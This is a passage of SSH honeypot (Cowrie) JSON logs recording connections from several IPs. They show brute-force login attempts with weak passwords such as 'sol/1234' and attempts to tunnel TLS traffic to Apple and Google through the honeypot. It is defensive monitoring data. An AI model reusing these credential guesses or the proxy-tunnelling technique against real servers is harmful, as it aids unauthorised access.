\\x02xh\\xd0Lnn\\x85\\xba3G\\xe8/b\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:46.617891Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"88.221.168.210","dst_port":443,"src_ip":"80.94.95.118","src_port":45912,"message":"direct-tcp connection request to 88.221.168.210:443 from 127.0.0.1:45912","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:48.235982Z","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"88.221.168.210","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 88.221.168.210:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:49.726439Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"88.221.168.210","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2K#\\x829\\'}\\xfd\\xb6\\\\]\\xa9\\xa4\\x1d\\x04]\\x18\\xbf\\xda\\xca\\xd4 \\x03\\xd9:\\xa7\\x02\\x81w\\xd5Z\\xa0 Jq\\x93\\xe9\\xc5j\\x1c\\xcf\\xcf\\x8c&_\\xbf\"\\x90\\x87(\\xe1\\xddo\\xad\\x01\\xe8\\x99\\xe4hO `\\xda\\xb3\\x11\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 gk\\xb9d\\x9d\\x1b7\\x82q\\xdd(\\xda\\x0c\\xb7Fo\\xd9I\\xd7pLOI\\xc4\\xb1{!([\\x95[P\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 88.221.168.210:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2K#\\x829\\'}\\xfd\\xb6\\\\]\\xa9\\xa4\\x1d\\x04]\\x18\\xbf\\xda\\xca\\xd4 \\x03\\xd9:\\xa7\\x02\\x81w\\xd5Z\\xa0 Jq\\x93\\xe9\\xc5j\\x1c\\xcf\\xcf\\x8c&_\\xbf\"\\x90\\x87(\\xe1\\xddo\\xad\\x01\\xe8\\x99\\xe4hO `\\xda\\xb3\\x11\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 gk\\xb9d\\x9d\\x1b7\\x82q\\xdd(\\xda\\x0c\\xb7Fo\\xd9I\\xd7pLOI\\xc4\\xb1{!([\\x95[P\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:49.729877Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.155.119","dst_port":443,"src_ip":"80.94.95.118","src_port":46924,"message":"direct-tcp connection request to 142.251.155.119:443 from 127.0.0.1:46924","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:49.946790Z","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.155.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.155.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:52.459702Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.155.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd9\\x13e\\xbc\\xd3\\x9a\\xac\\x82\\xb0\\x03\\xb3p\\x12\\x1f+cJB\\xdfHiE\\x80*\\xec\\xba\\xf4ZS\\xea\\xcb\\xa9 \\x07\\x110\\xf8u\\xcf\\xd0\\x9d\\x9e\\x7f\\xaaB\\xc1\\xac)\\xa5\\xb1\\xcf.LP\\xe5\\xf70\\xdau\\x19 \\xf0\\xa3\\x8b\\x98\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ~\\xc8\\xe2)\\x13\\x7f\\xdcf%\\x0f\\x19u\\x06Ab\\x80\\xd4\\xfb@%O4\\x91\\x04P^\\xb2A\\xcfb3X\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.155.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd9\\x13e\\xbc\\xd3\\x9a\\xac\\x82\\xb0\\x03\\xb3p\\x12\\x1f+cJB\\xdfHiE\\x80*\\xec\\xba\\xf4ZS\\xea\\xcb\\xa9 \\x07\\x110\\xf8u\\xcf\\xd0\\x9d\\x9e\\x7f\\xaaB\\xc1\\xac)\\xa5\\xb1\\xcf.LP\\xe5\\xf70\\xdau\\x19 \\xf0\\xa3\\x8b\\x98\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ~\\xc8\\xe2)\\x13\\x7f\\xdcf%\\x0f\\x19u\\x06Ab\\x80\\xd4\\xfb@%O4\\x91\\x04P^\\xb2A\\xcfb3X\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:52.463077Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:27:53.139972Z","src_ip":"80.94.95.118","session":"bdb9bdedbe57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46202,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c50a4723c35","protocol":"ssh","message":"New connection: 195.178.110.218:46202 (159.203.135.109:22) [session: 0c50a4723c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:02.736319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:02.741989Z","src_ip":"195.178.110.218","session":"0c50a4723c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:02.824219Z","src_ip":"195.178.110.218","session":"0c50a4723c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:03.071603Z","src_ip":"195.178.110.218","session":"0c50a4723c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:04.155231Z","src_ip":"195.178.110.218","session":"0c50a4723c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46954,"dst_ip":"10.17.0.5","dst_port":22,"session":"292a205a815d","protocol":"ssh","message":"New connection: 2.57.122.208:46954 (10.17.0.5:22) [session: 292a205a815d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:14.718586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:14.813292Z","src_ip":"2.57.122.208","session":"292a205a815d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:14.939042Z","src_ip":"2.57.122.208","session":"292a205a815d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:15.699611Z","src_ip":"2.57.122.208","session":"292a205a815d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:28:16.899021Z","src_ip":"2.57.122.208","session":"292a205a815d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":43086,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c53d92fbdce","protocol":"ssh","message":"New connection: 92.118.39.76:43086 (10.17.0.5:22) [session: 8c53d92fbdce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:27.142590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:27.206724Z","src_ip":"92.118.39.76","session":"8c53d92fbdce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:27.257899Z","src_ip":"92.118.39.76","session":"8c53d92fbdce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:29:27.699561Z","src_ip":"92.118.39.76","session":"8c53d92fbdce","protocol":"ssh"}
